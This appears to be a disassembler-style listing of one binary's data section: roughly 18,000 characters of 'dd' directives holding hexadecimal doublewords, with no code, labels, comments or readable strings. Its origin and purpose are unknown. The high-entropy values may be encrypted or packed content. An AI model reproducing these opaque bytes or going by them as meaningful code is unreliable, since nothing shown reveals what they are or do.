		dd 6F8D904h, 75C11890h,	35F212E6h, 67B2BE29h, 0A9DBF4C4h
		dd 5FC200F6h, 0C381459Eh, 9B60478h, 0FCD9011Ch,	6E90628h
		dd 981343D7h, 0F2355270h, 0B8BD087Eh, 7D2F29DEh, 3FB2A116h
		dd 0DE11A122h, 4AA7008Ch, 33E936DEh, 410D5855h,	2338A668h
		dd 0E9560547h, 0CEB5221Fh, 5D3A4D7Eh, 87613B92h, 34125248h
		dd 9A8DF02h, 3308077h, 0B0266B71h, 5855098Dh, 0D9575994h
		dd 31E0250Ah, 0F24EA653h, 0C70230ADh, 1C8403BFh, 8A07D76h
		dd 94A004B2h, 0B1C90AE1h, 2EE55DE6h, 0C6160B4Fh, 0B65D9F55h
		dd 6CF55823h, 0B828F984h, 74DDC495h, 67500513h,	0BA30AB17h
		dd 2FE70BEDh, 3CB2012Eh, 0E9510C01h, 0E6FBA5ACh, 5CD0C928h
		dd 4D2D0354h, 3FE02671h, 4ACD6A8Bh, 4AC31257h, 0B8AA4094h
		dd 49690468h, 0FBE0D10Ah, 0B591EC8h, 87E9925Ah,	835DDFE0h
		dd 0D1AD42FFh, 20A070FDh, 0BA74A110h, 14BD3717h, 0E2ED87EFh
		dd 1CD7A051h, 21DBA036h, 42199E0Ch, 4C18BE56h, 0D368B526h
		dd 0DE99953Ah, 6E4D0902h, 0C55EE042h, 62660AC4h, 39FEEF01h
		dd 325A0BFEh, 93F75B22h, 9EA65598h, 0BE1E2EAh, 0B18CAF0h
		dd 4001FFFCh, 7AF1017Ch, 1E02F6C7h, 0D590C108h,	2CE95D5Ch
		dd 0EB664227h, 0B68153E5h, 532DBD6Fh, 0B7C5443Fh, 4A8DEE3Ah
		dd 6AF9DAE7h, 0C09B4273h, 2676EF46h, 0BAC47D9h,	0A3DA98E9h
		dd 1C08314h, 0D0F700CFh, 0C26FD605h, 2C895B34h,	9525E9FFh
		dd 4FB2FE3Eh, 0FAAFAE04h, 0CA413031h, 5FAB357Ah, 0F48B1C06h
		dd 0EFE8AE39h, 0A85A3089h, 0A0219220h, 337FB5B5h, 930C1B96h
		dd 302A1AE1h, 2E25088Bh, 3CF856Dh, 0F42FCC00h, 0C12952B1h
		dd 65E95756h, 8249BFB2h, 553A39A6h, 16C7775Dh, 0D05A24A5h
		dd 535A2891h, 18875BC8h, 8DFF7FAh, 17622A68h, 540C7DFFh
		dd 0D482AF75h, 0BE0560B8h, 0F19988EBh, 25CB5E4Ch, 0B99887CBh
		dd 5FB130F2h, 44403F4Ch, 794B28EBh, 68FB209Dh, 0F0107097h
		dd 96195CE8h, 1D5BF584h, 8097B28Bh, 806AB76Ch, 0FAC1F1EAh
		dd 0E1F6C2D5h, 577CA523h, 0E70877C1h, 0BCC76A5Ch, 433B9620h
		dd 0E416E61h, 58486D82h, 34469E57h, 1FB9DE9h, 0B73794A7h
		dd 0C2D2EC7Fh, 9CBBA697h, 0FFD34E06h, 4E5AFD8Ch, 0A3323141h
		dd 7CCB4820h, 0BED03C12h, 0C1A0A0BFh, 0B8EF19Fh, 0E364A459h
		dd 6B105F95h, 0DAB2082h, 7BC670C1h, 9D30CFDh, 4E68B8F0h
		dd 0FC245B8Ah, 0F903F01Ah, 0B0298F52h, 167CBCEDh, 931883Bh
		dd 548C4157h, 699019B6h, 66E80D25h, 0F7CC201Fh,	0EAE4F4BDh
		dd 14F627ACh, 71C83812h, 5C5670C4h, 74209734h, 2E9D0502h
		dd 0D8299C7Dh, 0B4ED38E7h, 0E96C0C03h, 0CB287A3Bh, 7D17C8EAh
		dd 48C1291Ch, 80006ABDh, 0D0E01DF2h, 119E76F4h,	1D477D25h
		dd 0C6AFCF9Dh, 0E2681961h, 345B1D5Eh, 4E5E5980h, 0F7050C2h
		dd 494D929Fh, 509E316Fh, 6855E527h, 3D39E7E0h, 728912C3h
		dd 737FFF8Fh, 0C75D0905h, 0C347375h, 0C9EBAB11h, 8F1F820Bh
		dd 52295735h, 25B8EF83h, 34FA204Fh, 0BE0E820Bh,	0D34C2A6Ch
		dd 1F77851Bh, 2EE5CABBh, 0E2473266h, 0C4E16474h, 767AD6Ch
		dd 0D802A335h, 0E9C72404h, 5AB9323Ch, 4BE89410h, 0F0D3DEB2h
		dd 0C10B68DBh, 0DD6B6273h, 7503B500h, 0E1A03B27h, 7F0B4A61h
		dd 58D189C7h, 3FD70977h, 490B2FA8h, 2984A1D7h, 43B5DEBh
		dd 98E6C62h, 4B5A215Eh,	0C13B6DB2h, 3A08F67Ch, 0A0AC0E62h
		dd 0CE814EFFh, 2B481F77h, 0C4A01243h, 0D3E8FA2Ah, 5C0250B3h
		dd 44B03B19h, 2E79404Dh, 5D0B320Ch, 0B05A653Ch,	45956815h
		dd 0E2E610D8h, 8CDDAC51h, 70D7887Bh, 0B083B3Bh,	556F06F7h
		dd 5FFEBE00h, 981810BDh, 2CFAC53Fh, 63EF007Dh, 56BB5341h
		dd 3D98DA2Bh, 8CDCE33Dh, 0E4316EEh, 0AF6F3020h,	7952CBD2h
		dd 7A22B826h, 4124C10h,	175D8BFEh, 268327Bh, 11F800B8h
		dd 3635053Fh, 0C5CBF1Ah, 976020BFh, 0C998A778h,	4D77130Fh
		dd 726FDE58h, 2223A44Dh, 0E37759C4h, 0B75A8D22h, 9688A40h
		dd 4A465B9Eh, 5A38F809h, 0C0E5F947h, 0B76F13C2h, 62D0B776h
		dd 602E4720h, 46238453h, 70973FFBh, 0FBE1EDCh, 0B7BD40DFh
		dd 0E97E6F3Eh, 4B8CB949h, 125CBACCh, 0EB71E068h, 0C02D9529h
		dd 2763F210h, 0B315E58h, 9657D921h, 75E91850h, 16C7AB65h
		dd 1DFB1002h, 55FD295Dh, 0E9709174h, 3AF092A9h,	36A2D5Eh
		dd 416D0232h, 0CC607DF3h, 7A25946Fh, 0FD0E4254h, 0E927FA64h
		dd 7DE90996h, 0CAB7C4CCh, 20D95F11h, 27409D96h,	33475FBFh
		dd 0A6682736h, 0A473BBC8h, 1600A099h, 292F824Ah, 0ABCA2CAh
		dd 89429F08h, 0B9847667h, 0AD0CD830h, 94B5868h,	0F3012DA3h
		dd 92634B59h, 15E9C840h, 423AF69Fh, 0C05D5F5Dh,	3E7EB842h
		dd 0F00B607Ch, 1182535Eh, 0F45FFFE6h, 0D44CE4D7h, 0B5E2FF9Eh
		dd 810CD69Fh, 0ED0DB82Bh, 87C16A69h, 0C2F84803h, 62A8B656h
		dd 6D71465Fh, 56138526h, 2DED28FAh, 0BFEBE160h,	148D5661h
		dd 0B6E7C170h, 6027CF07h, 0E10129EAh, 60710551h, 0AAB2F1BFh
		dd 680D9897h, 646F4FD4h, 0BEE5820Ah, 0BD7EF1D5h, 870B8E25h
		dd 8E424B07h, 0D32CF359h, 0E962EFD1h, 7DD77A02h, 66A29362h
		dd 2C0571CCh, 13048AC9h, 3A96B131h, 8BE596F8h, 6AE90B58h
		dd 0E7DEC879h, 0E2549807h
		dd 40A2247Fh, 2CBA026Ch, 8AFFC97Ah, 8B1E493Ch, 0E033536Dh
		dd 6F7DD8BBh, 0F02D6102h, 0F0566A3Eh, 0E90780ABh, 0EF345A8Fh
		dd 29680B60h, 7D63012Ch, 18D22D59h, 390F200Ah, 2AFA7E5Eh
		dd 19848B8h, 9A2D7357h,	0FB60DA89h, 0B93AC04Bh,	3AA57130h
		dd 0E81083B7h, 0C2531FE7h, 9D58FC7h, 0CDF4456Bh, 586ED42Fh
		dd 68255759h, 52A37602h, 9FB44457h, 0D39782F0h,	42684399h
		dd 57EB215Ah, 91DB831h,	54665DEh, 7ED0AC4Bh, 12AF3962h
		dd 4D15F27h, 16229A1Eh,	62A181EAh, 0ABF7D058h, 0CA28E7EEh
		dd 7CE7E0C0h, 0B5B000C1h, 3224AC0Ch, 2CD019F6h,	9DF2362Eh
		dd 5844EF41h, 0E3AEF830h, 0B1511FB4h, 36B35382h, 25597828h
		dd 0F8444E13h, 0D36C8DB7h, 871B872Ah, 9CFDB94Fh, 0B7B4FCDCh
		dd 7E76A762h, 0B12E8C2h, 1C180DFh, 4822353Ah, 4E120D5Ah
		dd 0A2E2F89Dh, 0D098ABA3h, 58969C74h, 0A30E9C3h, 2DBA3C1Bh
		dd 2C911710h, 0C0351CC1h, 685307EAh, 159E3C5Bh,	3D2DD960h
		dd 6565506h, 0DB10A07Dh, 6EBC4F51h, 1205308Eh, 0B1E5FC22h
		dd 0BF004B72h, 55282B0Eh, 1409EE13h, 0F6089120h, 5126B93Ch
		dd 0B6F6A0Ch, 51E46CFAh, 108C8595h, 0FF215252h,	0D101382Fh
		dd 5BC73AE7h, 35451720h, 33409F1Fh, 0A124781Dh,	0D09842Ch
		dd 4BE88EDAh, 0C15D00DFh, 4A021203h, 41AAB91Ch,	82665908h
		dd 0A269FF18h, 5BF617Fh, 6807986Ah, 0A014DD2Bh,	0A1309405h
		dd 842BC0AAh, 604B5428h, 0FB7242FEh, 6B774B09h,	62DC9FEDh
		dd 4A167345h, 57B55E54h, 0F7E741ABh, 0FDF187D6h, 5F006E3Dh
		dd 6C7F36BDh, 0CD810229h, 28277310h, 0FB2EE0F5h, 233B276Ah
		dd 670777F4h, 0EDC00B29h, 1E176184h, 6A2468AFh,	77E91A57h
		dd 0B302103Eh, 0D64652BCh, 25A1D1BDh, 5F976A57h, 5CCC5D90h
		dd 2780AD58h, 5BB5E147h, 23AA873Ah, 0C4105AD7h,	800E5CAAh
		dd 0EB675EC3h, 0EB06B763h, 68C150D1h, 1E247FDCh, 0FD80AAFDh
		dd 0C94E9CD9h, 86965534h, 64AD56B7h, 9904AFFFh,	8ABB5452h
		dd 0C1AF9680h, 7F9974F4h, 0AFE47FBCh, 0CB5B99B6h, 11E69349h
		dd 0C0423714h, 54B2AFD3h, 0CDF8E909h, 49F49448h, 0A0895B80h
		dd 81FA11FFh, 0CB0E2052h, 0A0C3FB9h, 2CB09D5Eh,	0F7C0C1h
		dd 0E50C4F24h, 6197732Ch, 56020EACh, 7E3EF840h,	5B76570Bh
		dd 801A0043h, 9829D32Dh, 21012064h, 584798A0h, 814D2E07h
		dd 0BD376E3h, 0F530016Ah, 0E9204571h, 31FF3486h, 0CEA8D965h
		dd 94865AFh, 18F7D66Ch,	95D5CAAEh, 0EFBE9057h, 0DD881C51h
		dd 0B84BFB53h, 135939B8h, 0B5AECB2Ch, 0B163DA38h, 47FDABD4h
		dd 957E9093h, 55128D74h, 38D4C01h, 54590C02h, 0C59797FAh
		dd 0BEE2AA28h, 45C0B2A7h, 83EED972h, 61BEEB4Bh,	2BAC68E9h
		dd 0A658D5F3h, 0E2107484h, 0A5E0101Dh, 6CE8003h, 0A3EDEF6h
		dd 1BC7F673h, 9B226D05h, 0EC6B7F47h, 9525B8F3h,	490A55B9h
		dd 8975272Fh, 819D646h,	591358ADh, 0E27077AEh, 216A1CC1h
		dd 0A70975F0h, 87504E4Bh, 0A0223708h, 4E0F70A8h, 0AF37AE05h
		dd 527CBF92h, 0E5108C5h, 17035F4Bh, 676335Ah, 447CF544h
		dd 910D187Ah, 50A4C614h, 0A8DFA03Eh, 0B2019BBFh, 670A093Fh
		dd 722A022Eh, 79D82E0Bh, 2739DAB5h, 0DC3AD923h,	40F59CABh
		dd 80A277A7h, 5205F281h, 4A167E69h, 42076980h, 0EEDA48F7h
		dd 3050850Bh, 15696082h, 0D2A2C4C5h, 0E612082Dh, 0EC5E2A8Fh
		dd 841F09C6h, 895853B9h, 87085D69h, 3D928A87h, 0BA47E5Eh
		dd 0EDF7FD63h, 10D4ACFEh, 0C2800BD8h, 0C51D8A87h, 0D1ADCDACh
		dd 0BCD2CEAh, 0C8DA3B2Eh, 5080991h, 0AC64137Fh,	1723103Fh
		dd 5FF07F70h, 5C9D001Bh, 9804BF2Ch, 59E841E1h, 4BB23999h
		dd 0E540B7EDh, 0A8111696h, 0F516000Ah, 7D6B0EEAh, 203FFA97h
		dd 6813F49Dh, 0C3445C1Bh, 87176CF7h, 0AAD98243h, 25FACC55h
		dd 6172BA35h, 0AABEA4Bh, 8615FDCh, 0F70944BFh, 5915D6DEh
		dd 6EE26505h, 2DA8AAACh, 0C62BBE00h, 110B0579h,	0AC314F6Fh
		dd 0F20741A8h, 14071189h, 6C96A2C1h, 17529584h,	680BFCADh
		dd 4EDB41F5h, 84ADE91Eh, 44FA05FAh, 0FABF5733h,	81EF3E52h
		dd 6B090A73h, 0A1AB0594h, 46C890B7h, 25782F59h,	1068D755h
		dd 5080F82Ch, 698C0FB8h, 8E6B4FDEh, 6857F960h, 1613FA0Bh
		dd 0A0A3967Dh, 284BCE14h, 0CFE20CA5h, 0B8F2875Ah, 0DCC05A43h
		dd 19CB087Ch, 0A0DF31E8h, 53776F79h, 0D72625B2h, 5E9F411Ch
		dd 50E942AEh, 0D49034Ah, 0FD378AAh, 0E4A0E780h,	0BB007041h
		dd 7D773291h, 60EF295Fh, 0E9D83137h, 27FC0D24h,	0F94E4589h
		dd 0CAB0837Ah, 93B87004h, 0E92AC8FEh, 5B4FA999h, 9F2DAAECh
		dd 0D2F3180Eh, 53EAC242h, 0DAA27675h, 974696D7h, 56542268h
		dd 0A996A7B5h, 81C0E4E7h, 5012A4E6h, 0FEE8911h,	5627469Eh
		dd 4EF8CE80h, 0F6F80CA9h, 0B00EC338h, 85AD0C2Dh, 0C4925A51h
		dd 3501BED9h, 12A64594h, 2DC8D74h, 0E925CA27h, 0BA5DA064h
		dd 540B77D4h, 0D1F2C257h, 49E809ADh, 1A637A7Ch,	0CAE1030Fh
		dd 60C7527Ch, 3866EC06h, 0AC81FFDh, 0C66F0A99h,	5DD11290h
		dd 0D90539B3h, 2113B968h, 0BE2F2828h, 11C40522h, 41FF1BB8h
		dd 233DEAD9h, 0C02CB79h, 6F757EA2h, 0ECB26042h,	0A7A92F40h
		dd 0BB58D385h, 0B97FE53Dh, 0C6DE2AD2h, 5AEDD12Fh, 56E5A0E4h
		dd 251AB8EBh, 69E43F10h, 0C29726F0h, 56455DCAh,	0D6BD25B0h
		dd 233E0411h, 0DC3848E9h, 244C4BAh, 0EFF20180h,	685AD708h
		dd 0B113C95h, 0F13EE1E9h, 0F3502D2Ah, 505AB92h,	0DE813D4h
		dd 892DFFC2h, 9184DD07h, 0D131FF56h, 0A40D61D9h, 0DEADD756h
		dd 998240B2h, 87BAD28Ch, 8071029Dh, 42B9FD2Bh, 7A48E968h
		dd 236C1331h, 0F5948D3Dh, 0F6200B09h, 7ED5303h,	5FB00D4Dh
		dd 0B9FC38EAh, 67311A70h, 0D7F3E678h, 96C9FE07h, 215AA750h
		dd 0C1F928AAh, 20BC62D4h, 64EFEA57h, 0BBBE0A13h, 9529B9F0h
		dd 5922D45h, 10CEC4EFh,	6B20E7A1h, 0E2D76825h, 82CED5E9h
		dd 97055F06h, 2834A871h, 0C9072DF8h, 0CEFE021Ah, 14F4557Ah
		dd 97A59DE6h, 95B7B657h, 0D02D254Ch, 4E16DF8Ah,	0D24A6FFCh
		dd 5EBCC8AAh, 9D53B140h, 0FE6F64D4h, 95E739D8h,	2AE63D51h
		dd 0E262DC12h, 6DEAD672h, 6684EAE2h, 7A0BB1D4h,	0EF5E628Bh
		dd 92C6AC24h, 20B2B07Ah, 0C03F5C6Bh, 0C18005E1h, 81AB284Dh
		dd 895BF926h, 2F60112h,	36BD44h, 874BD3F7h, 0F756CB2Dh
		dd 16629DB3h, 58A0E920h, 76B90403h, 0EA3EAE1Bh,	0C0FB4657h
		dd 43969192h, 88E1254Eh, 1E109E20h, 53171323h, 21CE8C6h
		dd 0F758FD68h, 1653E0D0h, 404D017Ah, 0D50DCE05h, 9357D408h
		dd 29ECC548h, 572D9F7Bh, 0AE6BB405h, 2A6891A4h,	25D370B5h
		dd 0E2B94FFEh, 4B68F051h, 0D0ED19C0h, 9D201765h, 308F228h
		dd 914EE957h, 0DBB0541Dh, 57B9FBCBh, 20944C45h,	126984CEh
		dd 681B47F2h, 22E9ADB0h, 2AA0255Bh, 2FC5B504h, 84EC5F09h
		dd 6FA008F8h, 5F3D2B5Ah, 57859246h, 0BBD251A9h,	8EFA7B24h
		dd 0A18F4B65h, 0C2A9E917h, 0C5425973h, 0A91365F5h, 4FEE5A9h
		dd 311F574h, 94D78853h,	0BCAB2284h, 1E22DBFh, 0DAEE8068h
		dd 0BE71D4C2h, 2241B2A7h, 0C23C2034h, 39E7A8F2h, 65B91255h
		dd 8044AA2h, 0A0300E06h, 44121240h, 0A8081149h,	0A822DEDh
		dd 0F00B468Ah, 1FC3743Dh, 4B0ECF1Dh, 987789E6h,	0BF3047E0h
		dd 60E23FDCh, 0BC680156h, 30A67B7Ah, 6A41085Fh,	783A7EADh
		dd 9E51B353h, 6FD165D6h
		dd 9B3B53C0h, 25CE7C0Bh, 0A7461884h, 5768520Bh,	0B73F7A15h
		dd 0E8B5B672h, 0D6EFB63Eh, 2F21AF49h, 40CAC831h, 0B71F16ACh
		dd 0C878292h, 667D095Dh, 0D74B72Eh, 0D2B8F43Ch,	813BD741h
		dd 0D332180Ch, 20E06E20h, 5D4BCE28h, 0D90571C2h, 3BE98468h
		dd 0F23C9027h, 8D0F0131h, 0ABD7097Ch, 0F54D6813h, 0F3E613FCh
		dd 0F71400ECh, 316E8E3Fh, 0CE5FE9F8h, 0DEEBD516h, 4CAC4F8Bh
		dd 7F71E9E1h, 0F3ABC713h, 1A20D313h, 3330A1C0h,	5F4CFF0Fh
		dd 0C4AA2C9h, 0BE5A4B54h, 0AA2DE6CFh, 0BFB858E0h, 27FD3F1Eh
		dd 0E447638Bh, 685B3909h, 50326C2Fh, 7495C0FFh,	2F98270Ch
		dd 0C506A2D2h, 0D075E4Ch, 839012h, 9232F9EDh, 5D5A5588h
		dd 2ADCE2F8h, 443C1AC2h, 0C1B402Dh, 0F30F728h, 0AA255916h
		dd 0E3524505h, 0B2D806Bh, 3D4C68BDh, 0FBBC5EA2h, 0B77F88Bh
		dd 0D30CF4BCh, 0F5BEC000h, 0BA1EEF5Bh, 591F14A3h, 0CA04432Eh
		dd 424EFCh, 3C8509F2h, 242976F3h, 83E799E9h, 80C6285Ch
		dd 0ED414A92h, 0C60E724Dh, 4B325166h, 0F193D370h, 216D0D88h
		dd 0E2F8E84Ah, 64B8AEB4h, 0BB436E12h, 86020424h, 0DF834B71h
		dd 0FE6D9185h, 4149DE30h, 283B4EF6h, 2303BDA2h,	45661662h
		dd 0D5F7904Dh, 0FFE35FE9h, 81C49144h, 22465E09h, 3552FEF9h
		dd 1EE4E1B5h, 987291A5h, 0C35ACA20h, 0DC63C4D4h, 0B461ABDDh
		dd 0BC216DEDh, 417EB730h, 10E8CCC1h, 0F4FC2F0h,	0BCE49697h
		dd 0D266A8AAh, 0BF57D603h, 562B983Eh, 0D1682E4Fh, 1E986F3h
		dd 295A0A4Dh, 138438E4h, 80633827h, 39BB15D9h, 0E917FEFEh
		dd 9FB7AAD7h, 1DB5CA40h, 94EE882Dh, 13DE159h, 8CC3B11Dh
		dd 0DE06AFF1h, 0F15731E1h, 0ECB27AB9h, 5E237385h, 0EF60B0Bh
		dd 0F303E85Ah, 291BBE09h, 5397E9EEh, 140EB962h,	0E774075Dh
		dd 6CBF1D7Dh, 0BA530B1Bh, 450354Bh, 1D04C5C4h, 0F5011632h
		dd 250FCBBFh, 31E5022Ch, 198CD7F3h, 549FC57Fh, 685E028Eh
		dd 80F651ADh, 0CA2ABE63h, 7342E055h, 94B4856h, 610AC4Eh
		dd 39536A3Dh, 4348020Ch, 0EFE97818h, 5E5BFD70h,	0EC6ECACDh
		dd 689F9960h, 34F529D2h, 0DE91A18h, 19DC4E73h, 0D22AA402h
		dd 27045E17h, 0F61ED872h, 0DFBCDCA6h, 0DE12ADFDh, 55A3EF6Ah
		dd 70490288h, 2CE83A2Bh, 2AE1E90Ch, 20F38834h, 3A4F0757h
		dd 30F80841h, 802A485Ah, 0CEF2355Ah, 23A74225h,	9B21F13h
		dd 59870C3Dh, 312D8702h, 1E93BB07h, 0F3A3EFA9h,	30141D5Dh
		dd 0E7CCDEFDh, 9502D5ABh, 2D002E2Bh, 7AD2834Dh,	2A293826h
		dd 9877AB5Fh, 0F355B7D2h, 0A1ADBD81h, 0EFBA2505h, 1EFA52D5h
		dd 0A452EC4Ch, 8557240Eh, 0BF9C4A42h, 1CB43003h, 49F613FDh
		dd 5B0F8FC1h, 52276DEFh, 6FE4016Ch, 580D8620h, 8605466h
		dd 5E3DF781h, 3F3E05F2h, 0F8019F6Ah, 0E90E2D18h, 0CC414E1Bh
		dd 154FCDE0h, 1286BEADh, 5769E959h, 0A483405Fh,	516DCECDh
		dd 694BB943h, 20CF31B1h, 213168D7h, 0A54F396Ah,	0BC33BF2Bh
		dd 18583455h, 2CC21016h, 5BD7AC5Bh, 4C0046EAh, 55171A4Fh
		dd 8AAB4A68h, 8BA95E48h, 1F685381h, 1A72630h, 487A16E5h
		dd 0BAFE9BBh, 0D7A71BDEh, 1489FF30h, 0AA31FA80h, 88CA7C35h
		dd 96A5F455h, 82C7B62Fh, 7370255Dh, 653A0880h, 1457955h
		dd 0C4944F1h, 41C10A1h,	0EAB45FE9h, 76EAA140h, 4358BA7h
		dd 48DA3CB9h, 251FEFDBh, 5B8EC981h, 14301A8Ah, 0DE22047Dh
		dd 0E8D3E962h, 85A48FECh, 94FF75EEh, 605DEB72h,	84BC0DC9h
		dd 0EEC1350Fh, 0D6354C33h, 0E9F52C2Bh, 0D4C57C4Bh, 0EF1E40BAh
		dd 1F4B70BBh, 2E7C118h,	2E682B12h, 29765F5h, 6B780938h
		dd 0C10DE2FDh, 63CC1535h, 0F507845Bh, 438C0623h, 5838386Fh
		dd 8E18C109h, 3B31D612h, 44045FAh, 6B81BFBBh, 303EE828h
		dd 2DC768E5h, 0C2C6F195h, 0D3D75FF9h, 18E90666h, 7A9D54C9h
		dd 343209B8h, 88735CB8h, 2846BA00h, 4C310F51h, 174F2CD1h
		dd 0B605BA5Ch, 0B6820CA8h, 1200F814h, 505E6C0h,	82F5B184h
		dd 4BC2D054h, 81AC37C3h, 0C98C2C87h, 783FD10Dh,	2576106Bh
		dd 0E50134Fh, 7083AE5Fh, 1251295Ch, 4E33389Bh, 1AC192F2h
		dd 0FB514C4Eh, 0DD7859C0h, 6524FDA1h, 0E7E02BD7h, 0DC5381DCh
		dd 0D1FE50E7h, 282C3C49h, 0B80AD24Fh, 0DE612F6Dh, 0B6265F05h
		dd 0C7C2B084h, 235F7CC4h, 0B668848Ah, 0C4F2B82Ch, 3105186Ch
		dd 0DF1AACE8h, 0B32B304Ah, 7D5E16B2h, 0FDFA4478h, 0A524845Eh
		dd 5F84F0FBh, 99DA293Fh, 51E933Bh, 0D6C9E52Fh, 8BD3C85Fh
		dd 18EFBD3Ch, 0AC40E98Bh, 79C0BC78h, 39482A02h,	0AC059D9Eh
		dd 0ACDE04C6h, 37B30552h, 34F005BFh, 4DDE05D2h,	0DF980466h
		dd 0BECAFE4Fh, 0BA685804h, 450A34Ah, 4B053264h,	77C72F82h
		dd 983D7B73h, 5116E39Ch, 2AD57288h, 4B9859EFh, 0F137A95Ah
		dd 92B17E9h, 0DF663327h, 48F5BA1Eh, 82D12D4Bh, 56875053h
		dd 0E1A29697h, 0C6027468h, 0B88882B5h, 4CC2D5F1h, 5813FA55h
		dd 165A6040h, 0BD69FAE1h, 2094E53Bh, 4402212Ah,	75E974CAh
		dd 0EE57DD6h, 0F837C08h, 2D73C968h, 2AF761D9h, 0EBFAA94Ah
		dd 0F40FFCBh, 5816CB0h,	0EC9FE52Fh, 6FF1C801h, 0E95EFCACh
		dd 0D66E8BFEh, 0E1F42FF0h, 2502C5CBh, 27AD4775h, 25FCE6D7h
		dd 10F528FBh, 0DEF56E24h, 66C3C110h, 2A601868h,	44623488h
		dd 0A6CFD116h, 0A0AF4BF9h, 50BCB663h, 5F32F5B0h, 85AF505h
		dd 1B6033EEh, 525B05DCh, 55F121EAh, 6EA45146h, 0A6A2070Fh
		dd 203B7A9Ch, 0A0B7E41Ah, 0A57CEBB1h, 5A69FA72h, 3EF49D3Dh
		dd 0ED570E04h, 55272ACAh, 68CA3055h, 0BC394AE6h, 54E9C5CDh
		dd 40827E0h, 0C8FE5AF0h, 0B86EC4F6h, 2828323Fh,	4C8AA58Ah
		dd 52249EF8h, 5CDE0018h, 0C3BA7DA0h, 2FE19313h,	0B5EBECF4h
		dd 2C3135E8h, 20C76C9Fh, 56B57E39h, 685670E3h, 0A12AEECAh
		dd 0E26F208h, 19441CBBh, 0DBB0AE3Dh, 6268B1EAh,	61E08950h
		dd 8982F962h, 0B0C05DBFh, 0DAFBF101h, 0D1D309DFh, 97824937h
		dd 0FAA9CB9Fh, 3863E502h, 0EF845707h, 7EBB38C6h, 0A370265Dh
		dd 0CD018F77h, 417B10C5h, 4E0319EAh, 7E75F634h,	0C9EA405Fh
		dd 55FE07Fh, 41234D00h,	0B5E9D8E5h, 0BD00B156h,	0F8B6ACCh
		dd 156EC401h, 785713FDh, 0BAC085FFh, 295B8290h,	6012C3D1h
		dd 0B3D4D518h, 0D6BD4A10h, 2BE3ABD2h, 1310F584h, 0D620FAACh
		dd 68EB2932h, 0F5DCB20Bh, 681363F2h, 63C97904h,	0FA12097Ch
		dd 10CDA811h, 0B61D40E1h, 0E1BFD291h, 21BE3A79h, 680820B9h
		dd 0AD3E9E7Ch, 0FD83445Bh, 0F66B9D71h, 0E40112C5h, 76D541B5h
		dd 0D5A7C2EAh, 0A49FECE4h, 37926F91h, 43E4FF5Dh, 480A099Dh
		dd 0A4B92344h, 0AC55A1ABh, 8733FD2Dh, 1CA25BC8h, 7D9D5CF2h
		dd 7414F809h, 0A74B6225h, 0B8825589h, 8BC6DD03h, 782AB020h
		dd 0A6F5C4F6h, 2D5C0007h, 75DE44D7h, 560EC2Bh, 0D00119D4h
		dd 9B071405h, 69A76437h, 0EF45DB04h, 0E607B8F3h, 0F76C697Ch
		dd 9A6D978h, 4F209AE8h,	605B7E2Dh, 3E6847F3h, 454D5019h
		dd 0CDB8C44Fh, 0A502FC53h, 5C378704h, 6CE4E488h, 4AA9312h
		dd 22070805h, 64EEBF68h, 91B4EB65h, 3E4D28D3h, 6107826Eh
		dd 81001CD0h, 7F13E4C6h, 0FCE8F57Bh, 22D86882h,	5A49B2F7h
		dd 4DA4250Ch, 6961EED5h, 0CCF7F3FBh, 1C5950E8h,	5BEA47Ah
		dd 706EC0BBh, 312EB2Fh,	2C73A908h, 309402D4h, 60D76AC1h
		dd 9510CE0Eh, 7F7A6FD4h, 574503F1h, 81433090h, 35EF0AF3h
		dd 4AE0241h, 0C288BE1Bh
		dd 0CCF65314h, 99FE181h, 62802C21h, 7D860A65h, 594ECA31h
		dd 553E0h, 58C052E8h, 0D1BF32Dh, 7A72255h, 2D11CA07h, 0CA72AD76h
		dd 0A8B7F4BAh, 539840EBh, 0B0B738h, 3D045BF8h, 111B252h
		dd 0D8B15150h, 0CDECE180h, 3CE820F1h, 4BA10E49h, 5F7A31F0h
		dd 9337ED5Dh, 42D23887h, 6F82FC50h, 813A092Ch, 1805F571h
		dd 0DDF74B3Fh, 0C3A713FAh, 4F621085h, 0D5424E40h, 0A330A1A4h
		dd 0E031048h, 0A656661Ch, 73848939h, 305BD47Eh,	0E91EC320h
		dd 81921493h, 8B74DF2Ah, 97D28E20h, 57AF50D4h, 0E98A8915h
		dd 81AD9F74h, 32A721A7h, 0B75FF8ECh, 282400E8h,	0A0601A9Ch
		dd 9D02123Fh, 0CC82476h, 0CD2C5A17h, 27E91A56h,	0A7454DFh
		dd 7A03DF2Fh, 220B37BBh, 0FDE7885Ah, 0A04F5ACCh, 81F565BEh
		dd 31668A1Eh, 66E53A52h, 7AB90804h, 11056883h, 73E6FA85h
		dd 0DEDAE90Ch, 31485F8Ah, 0FECB9ED2h, 64B75C0Bh, 0B6525F6Fh
		dd 326E51B1h, 3BD4F173h, 0AFE8BF09h, 0FD1745DEh, 7404D8A4h
		dd 1142041h, 953DFE20h,	5298BFD8h, 0CBBFD24Bh, 0E2BFD372h
		dd 53450F0Eh, 36A87751h, 2D0F4132h, 2420F857h, 8EFFD4E9h
		dd 0B7E5D309h, 0E29C2314h, 2B3D3FE1h, 0FCA79906h, 7EF7FAAFh
		dd 8963163Bh, 856121F9h, 96B63C29h, 38095FBDh, 6D02F632h
		dd 0D45D8ECEh, 49F422Dh, 0A3BAD20Fh, 857590D3h,	8A569068h
		dd 27506008h, 2702AB78h, 7C6872FEh, 0CEECDF14h,	0A0168009h
		dd 42D4C26Fh, 0EA885A31h, 5052B56Bh, 5E38EA5Fh,	6DD0CBFh
		dd 2BF20F71h, 75170A04h, 982DFF7h, 8F700918h, 4964D48h
		dd 2574025Fh, 5110A4FBh, 0AD7E8BA2h, 0CA1457ADh, 6F3B680Eh
		dd 7D5F4BCBh, 5F605D89h, 9A1AE6F7h, 77BC53A4h, 0C5C20D8Ch
		dd 0AB789816h, 3CDC4D05h, 0A15A3CA6h, 88E86E03h, 7B65A9B7h
		dd 0EB0194ABh, 64DB0260h, 7EABAC40h, 1060D82h, 0A05A59CBh
		dd 52120B22h, 0A909ACBAh, 4CF0C14h, 9A96B742h, 0C9284B09h
		dd 2C81C033h, 0EFBF800Ah, 0EEC172F4h, 5508F4E7h, 0BDF12C3Eh
		dd 0CF56C204h, 81AF0959h, 3F973413h, 0BDEB9724h, 11F54E76h
		dd 0DCA2ECE3h, 209D2C20h, 0F58002A2h, 4CEEF838h, 6A3CF459h
		dd 5DCFC6B8h, 1210AC68h, 1E31AE37h, 6A06034Bh, 465BD078h
		dd 80747C13h, 8118A4EAh, 6555EE04h, 0FCEA066Bh,	7CDA9022h
